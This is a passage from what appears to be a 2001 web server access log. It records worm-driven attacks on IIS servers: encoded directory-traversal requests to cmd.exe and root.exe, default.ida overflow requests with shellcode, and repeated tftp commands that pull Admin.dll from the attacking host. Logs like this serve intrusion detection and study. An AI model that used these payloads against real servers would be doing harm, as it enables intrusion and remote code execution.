/MSADC/root.exe?/c+dir HTTP/1.0" 20010918 15:41:12: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:41:12: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:41:12: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:41:12: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:41:12: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:41:12: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:41:12: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:41:12: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:41:13: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:41:13: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:41:13: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:41:13: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:41:13: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:41:13: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:41:13: [128.164.242.124] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 15:41:49: [128.164.242.124] "GET /scripts/root.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20Admin.dll HTTP/1.0" 20010918 15:42:07: [128.164.242.124] "GET /scripts/Admin.dll HTTP/1.0" 20010918 15:42:25: [128.164.242.124] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 15:42:43: [128.164.242.124] "GET /MSADC/root.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20Admin.dll HTTP/1.0" 20010918 15:43:01: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 15:43:02: [128.164.242.124] "GET /MSADC/Admin.dll HTTP/1.0" 20010918 15:43:20: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 15:43:20: [128.164.242.124] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:43:38: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:43:38: [128.164.242.124] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 15:43:57: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:43:57: [128.164.242.124] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 15:44:15: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:44:16: [128.164.242.124] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 15:44:34: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:44:34: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:44:34: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:44:35: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:44:35: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:44:35: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:44:35: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:44:35: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:44:35: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:44:35: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:44:35: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:44:35: [128.164.242.124] "GET /c/Admin.dll HTTP/1.0" 20010918 15:44:55: [128.164.242.124] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:45:13: [128.164.242.124] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 15:45:31: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 15:45:32: sql-server.jrn.columbia.edu [128.59.96.106] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 15:45:32: [128.164.242.124] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 15:45:50: [128.164.242.124] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 15:46:08: [128.164.242.124] "GET /d/Admin.dll HTTP/1.0" 20010918 15:46:26: [128.164.242.124] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:46:44: [128.164.242.124] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 15:47:03: [128.164.242.124] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 15:47:21: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 15:47:21: [128.164.242.124] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 15:47:42: [128.164.242.124] "GET /scripts/..%255c../Admin.dll HTTP/1.0" 20010918 15:48:00: [128.164.242.124] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:48:19: [128.164.242.124] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 15:48:37: [128.164.242.124] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 15:48:55: [128.164.242.124] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 15:49:13: [128.164.242.124] "GET /_vti_bin/..%255c../..%255c../..%255c../Admin.dll HTTP/1.0" 20010918 15:49:31: [128.164.242.124] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:49:49: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 15:49:50: [128.164.242.124] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 15:50:08: tfh-office.phys.columbia.edu [128.59.132.194] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 15:50:08: [128.164.242.124] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 15:50:26: tfh-office.phys.columbia.edu [128.59.132.194] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:50:26: [128.164.242.124] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 15:50:44: tfh-office.phys.columbia.edu [128.59.132.194] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:50:44: [128.164.242.124] "GET /_mem_bin/..%255c../..%255c../..%255c../Admin.dll HTTP/1.0" 20010918 15:51:02: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:51:02: [128.164.242.124] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:51:22: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:51:22: [128.164.242.124] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 15:51:41: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:51:41: [128.164.242.124] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 15:51:59: tfh-office.phys.columbia.edu [128.59.132.194] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:51:59: [128.164.242.124] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 15:52:17: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:52:17: [128.164.242.124] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../Admin.dll HTTP/1.0" 20010918 15:52:36: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:52:36: [128.164.242.124] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:52:55: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:52:55: [128.164.242.124] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 15:53:13: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:53:13: kzsc.ucsc.edu [128.114.160.45] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 15:53:13: [128.164.242.124] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 15:53:32: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:53:32: kzsc.ucsc.edu [128.114.160.45] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 15:53:32: [128.164.242.124] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 15:53:50: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:53:50: kzsc.ucsc.edu [128.114.160.45] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:53:50: [128.164.242.124] "GET /scripts/..%c1%1c../Admin.dll HTTP/1.0" 20010918 15:54:08: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:54:08: kzsc.ucsc.edu [128.114.160.45] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:54:08: [128.164.242.124] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:54:27: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:54:27: kzsc.ucsc.edu [128.114.160.45] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:54:27: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 15:54:27: [128.164.242.124] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 15:54:45: kzsc.ucsc.edu [128.114.160.45] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:54:45: [128.164.242.124] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 15:55:03: kzsc.ucsc.edu [128.114.160.45] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:55:03: [128.164.242.124] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 15:55:22: kzsc.ucsc.edu [128.114.160.45] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:55:22: [128.164.242.124] "GET /scripts/..%c0%2f../Admin.dll HTTP/1.0" 20010918 15:55:40: kzsc.ucsc.edu [128.114.160.45] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:55:40: [128.164.242.124] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:55:58: kzsc.ucsc.edu [128.114.160.45] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:55:58: [128.164.242.124] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 15:56:16: kzsc.ucsc.edu [128.114.160.45] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:56:17: [128.164.242.124] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 15:56:35: kzsc.ucsc.edu [128.114.160.45] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:56:35: [128.164.242.124] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 15:56:53: kzsc.ucsc.edu [128.114.160.45] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:56:53: [128.164.242.124] "GET /scripts/..%c0%af../Admin.dll HTTP/1.0" 20010918 15:57:11: kzsc.ucsc.edu [128.114.160.45] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:57:11: [128.164.242.124] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:57:29: kzsc.ucsc.edu [128.114.160.45] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:57:30: [128.164.242.124] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 15:57:48: kzsc.ucsc.edu [128.114.160.45] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:57:48: [128.164.242.124] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 15:58:07: [128.164.242.124] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 15:58:25: [128.164.242.124] "GET /scripts/..%c1%9c../Admin.dll HTTP/1.0" 20010918 15:58:43: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 15:58:43: [128.164.242.124] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:59:02: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 15:59:02: [128.164.242.124] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 15:59:20: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:59:20: [128.164.242.124] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 15:59:38: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:59:38: [128.164.242.124] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 15:59:56: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:59:57: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:59:57: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:59:57: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:59:57: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:59:57: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:59:57: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:59:57: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:59:57: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:59:57: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:59:57: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:59:57: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:59:57: [128.164.242.124] "GET /scripts/..%%35%63../Admin.dll HTTP/1.0" 20010918 16:00:18: [128.164.242.124] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:00:36: [128.164.242.124] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 16:00:55: [128.164.242.124] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 16:01:13: [128.164.242.124] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 16:01:31: [128.164.242.124] "GET /scripts/..%%35c../Admin.dll HTTP/1.0" 20010918 16:01:49: [128.164.242.124] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:02:08: [128.164.242.124] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 16:02:26: [128.164.242.124] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 16:02:44: [128.164.242.124] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 16:03:02: [128.164.242.124] "GET /scripts/..%25%35%63../Admin.dll HTTP/1.0" 20010918 16:03:21: [128.164.242.124] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:03:39: [128.164.242.124] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 16:03:57: [128.164.242.124] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 16:04:15: [128.164.242.124] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.164.242.124%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 16:04:34: [128.164.242.124] "GET /scripts/..%252f../Admin.dll HTTP/1.0" 20010918 16:04:52: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 16:06:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 16:06:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:06:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:06:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:06:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:06:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:06:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:06:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:06:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 16:06:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 